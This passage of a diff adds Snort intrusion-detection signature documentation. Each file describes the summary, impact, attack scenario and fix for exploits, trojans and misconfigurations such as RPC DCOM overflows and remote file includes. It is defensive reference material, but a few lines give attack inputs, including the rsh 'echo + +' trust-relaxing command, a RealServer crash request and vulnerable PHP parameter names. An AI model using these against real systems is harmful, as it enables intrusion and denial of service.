--- snort-2.8.5.2.orig/doc/signatures/3408.txt
+++ snort-2.8.5.2/doc/signatures/3408.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3408
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2807.txt
+++ snort-2.8.5.2/doc/signatures/2807.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2807
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure specify_new_masters
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000570.txt
+++ snort-2.8.5.2/doc/signatures/100000570.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000570
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "app_change_pwd.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"app_change_pwd.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/336.txt
+++ snort-2.8.5.2/doc/signatures/336.txt
@@ -0,0 +1,70 @@
+Rule:
+Sid:
+336
+--
+Summary:
+This event is generated when an attempt is made to access roots home
+directory in an ftp session.
+
+--
+Impact:
+Serious. Information disclosure.
+
+--
+Detailed Information:
+An ftp command to change directories to root's home directory has been
+made. If roots home directory is world readable and is within the ftp
+root, the contents may be viewed or downloaded in an ftp session.
+
+Under normal ftp usage (by non-root users), this should never occur.  
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Scenario A:
+1. Remote attacker has gained root password/access, or is able to access root's home directory.
+2. Attacker will be able to replace important system files at their will, possibly gaining shell access as root.
+
+Scenario B:
+1. System administrator (root) connects to the system via un-encrypted ftp.
+2. An attacker, listening in on the tcp/ip traffic, gains root's password since it was transmitted in 'clear-text'.
+3. The attacker can now log in as root.
+
+Scenario C:
+1. The ~root directory is world readable.
+2. Sensitive files that may exist in this directory can now be accessed by anyone.
+--
+Ease of Attack:
+Scenario A: depends on how the attacker gained root's password
+Scenario B: trivial for someone on the same network or on the route to the comprimiseable system.
+Scenario C: easy.
+--
+False Positives:
+None Known
+The administrator has legitimately logged into this machine from a remote location. 
+Note: this still has the potential for a security breach (see Scenario B).
+--
+False Negatives:
+None Known
+Accessing other system critical directories other than ~root (for example, /etc, where passwd/shadow files are kept) could indicate the same comprimise.
+--
+Corrective Action:
+ - Dissallow ftp login for root, consider using something more secure than ftp for root file transfers.
+ - Make sure root's home directory is NOT world readable.
+ - Root's password may have been discovered, take apropriate action.
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Jeremy Stashewsky <jstash@omitthis.uvic.ca>
+
+-- 
+Additional References:
+CVE CVE-1999-0082
+RFC 959: File Transfer Protocol http://www.ietf.org/rfc/rfc959.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2271.txt
+++ snort-2.8.5.2/doc/signatures/2271.txt
@@ -0,0 +1,58 @@
+--
+Rule:
+
+--
+Sid:
+2271
+
+--
+Summary:
+This event is generated when an attacker attempts to connect to the
+trojan FsSniffer.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+The FsSniffer program is a Trojan Horse designed to allow unauthorized
+external access to an infected host.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+Security tool probing for netbus
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3122.txt
+++ snort-2.8.5.2/doc/signatures/3122.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3122
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1989.txt
+++ snort-2.8.5.2/doc/signatures/1989.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid: 1989
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+MSN Protocol
+http://www.hypothetic.org/docs/msn/
+Devarticles
+http://www.devarticles.com/index2.php?option=content&task=view&id=225&pop=1&hide_ads=1&page=1
+MSN Messenger Protocol
+http://www.venkydude.com/articles/msn.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/608.txt
+++ snort-2.8.5.2/doc/signatures/608.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 608
+
+--
+Summary: 
+This event is generated when an attempt to modify access control permissions for remote shell logins is attempted.
+
+--
+Impact: 
+An attacker may have modified remote login permissions such that any host is allowed to initiate a remote session on the target host.
+
+-- 
+Detailed Information: 
+The rule generates an event when system reconfiguration is attempted via "rsh". 
+
+The command "echo + +" is used to relax access control permissions for r-services to allow access from any site without the need for password authentication. 
+
+This activity is indicative of attempts to abuse hosts using a default configuration. 
+
+Some UNIX systems use the "rsh" service to allow a connection to the machine for establishing an interactive session.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with "rsh" enabled and reconfigures it to allow access from any location
+
+--
+Ease of Attack: 
+Simple, no exploit software required
+
+--
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+--
+Contributors: 
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+http://www.whitehats.com/info/IDS388
+
+--
--- snort-2.8.5.2.orig/doc/signatures/106-2.txt
+++ snort-2.8.5.2/doc/signatures/106-2.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+106-2
+
+--
+Summary:
+This event is generated when the pre-processor spp_rpc_decode detects
+network traffic that may constitute an attack. Specifically multiple
+records in one packet were detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_rpc_decode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/208.txt
+++ snort-2.8.5.2/doc/signatures/208.txt
@@ -0,0 +1,89 @@
+Rule:
+
+--
+Sid:
+208
+
+--
+Summary:
+Phase0 is a Trojan Horse offering the attacker control of the victim 
+host. This event is generated when the victim server replies to an 
+attackers client connection request.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to. This Trojan
+also has the ability to delete data, steal passwords and disable the
+machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+
+The Trojan changes system registry settings to add the PhaseZero server
+to programs normally started on boot. Due to the nature of this Trojan
+it is unlikely that the attacker's client IP address has been spoofed.
+
+The default name of the server application is MsgServ.
+
+Server Port: 555 although this can be changed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added:
+
+	MsgServ
+
+Delete the server program msgsvr32.exe and/or ServerS.exe.
+
+A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Dark-e
+http://www.dark-e.com/archive/trojans/phase/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/689.txt
+++ snort-2.8.5.2/doc/signatures/689.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid: 
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an SQL database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the protected network.
+
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1102.txt
+++ snort-2.8.5.2/doc/signatures/1102.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1102
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3160.txt
+++ snort-2.8.5.2/doc/signatures/3160.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3160
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1892.txt
+++ snort-2.8.5.2/doc/signatures/1892.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1892
+
+--
+Summary:
+This event is generated when SNMP communications contain a NULL value 
+the authentication string.
+
+--
+Impact:
+Medium to Serious. Depending on if the community string was for 
+read-only, read-create or read-write an attacker could gain a varying 
+level of access to a system.
+
+--
+Detailed Information:
+An SNMP community string is the authentication process that a host 
+running SNMP uses to grant access.
+
+--
+Affected Systems:
+Numerous. Routers, switches, servers, NAS systems, many others.
+
+--
+Attack Scenarios:
+An attacker can launch a scan of all network attached devices looking 
+for port 161 (UDP) and then attempt to gain access using SNMP.
+
+--
+Ease of Attack:
+Simple. There are many free SNMP "tree walking" programs, an example of 
+such is getIF.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Make sure that all devices that have SNMP turned on have complex 
+passwords assigned.
+
+Disable unneeded WRITE / CREATE community strings.
+
+Since SNMP traffic is not encrypted, use a packet filtering firewall to 
+restrict SNMP communications to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  Mike Rivett ebiz@rivett.org
+
+-- 
+Additional References:
+
+GetIF:
+http://www.wtcs.org/snmp4tpc/getif.htm
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/277.txt
+++ snort-2.8.5.2/doc/signatures/277.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+277
+
+--
+Summary:
+This event is generated when a remote attacker transmits a malformed request for a page on a RealNetworks RealServer port, which can indicate a Denial of Service (DoS) attack on the RealServer.
+
+--
+Impact:
+The RealNetworks RealServer service will crash.
+
+--
+Detailed Information:
+RealNetworks RealServer is a server application that serves streaming audio to clients. When an attacker sends a request for a template file in the /viewsource/ directory with an empty variable value, RealServer crashes.   
+
+--
+Affected Systems:
+Systems running RealNetworks RealServer 7.0 with View Source functionality enabled.
+
+--
+Attack Scenarios:
+An attacker sends an HTTP request for /viewsource/template.html? on a RealServer audio server. RealServer crashes, stopping audio transmission.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+If a legitimate remote user attempts to use the View Source function on the RealServer, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest version of the software or disable the View Source functionality. The vendor has issued an advisory, workarounds, and downloadable patches at http://service.real.com/help/faq/servgviewsrc.html.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+RealNetworks
+http://service.real.com/help/faq/servgviewsrc.html
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3107.txt
+++ snort-2.8.5.2/doc/signatures/3107.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3107
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/804.txt
+++ snort-2.8.5.2/doc/signatures/804.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+804
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer 
+overflow vulnerability in SWSoft ASPSeek search engine software.
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+SWSoft ASPSeek search engine software contains a buffer overflow 
+vulnerability where, if a sufficiently long string is sent to the s.cgi 
+script using the template (tmpl) variable, a buffer overflow condition 
+can occur. This may allow the execution of arbitrary code. 
+
+--
+Affected Systems:
+All Apache web servers running SWSoft ASPSeek 1.0.3 and earlier are 
+vulnerable.
+
+--
+Attack Scenarios:
+An attacker can send a crafted query to the s.cgi script, creating a 
+buffer overflow condition. This could then allow the attacker to execute
+arbitrary code from the system's command shell.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses s.cgi where the "tmpl" variable is 
+invoked, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to SWSoft ASPSeek 1.04 or later.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/2492
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0476
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000392.txt
+++ snort-2.8.5.2/doc/signatures/100000392.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000392
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ovidentia" application running on a webserver. Access to the file "vacadm.php" using a remote file being passed as the "babInstallPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "vacadm.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/530.txt
+++ snort-2.8.5.2/doc/signatures/530.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+530
+
+--
+Summary:
+This event is generated when an attacker sends a blank username and blank password in an attempt to connect to the IPC$ (Interprocess Communication) pipe.
+
+--
+Impact:
+Information gathering. This attack can permit the disclosure of sensitive information about the target host.
+
+--
+Detailed Information:
+Null sessions allow browsing of Windows hosts by the "Network Neighborhood" and other functions.  A Null session permits access to a host using a blank user name and password.  At attacker may attempt to perform a Null session connection, disclosing sensitive information about the target host such as available shares and user names.
+
+--
+Affected Systems:
+Microsoft Windows hosts
+
+--
+
+Attack Scenarios:
+An attacker can send a blank username and blank password to try to connect to the IPC$ hidden share on the target computer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Null sessions may be used by legitimate processes in the same Windows domain.  
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+On Windows NT, 2000, XP set the registry key /System/CurrentControlSet/Control/LSA/RestrictAnonymous value to 1.
+
+--
+Contributors:
+Original rule written by Ian Viket <ian.vitek@infosec.se>
+Documented by Nawapong Nakjang <tony@ksc.net, tonie@thai.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids
+http://www.whitehats.com/info/IDS204
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0519
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1868.txt
+++ snort-2.8.5.2/doc/signatures/1868.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1868
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3165.txt
+++ snort-2.8.5.2/doc/signatures/3165.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3165
+
+--
+Summary:
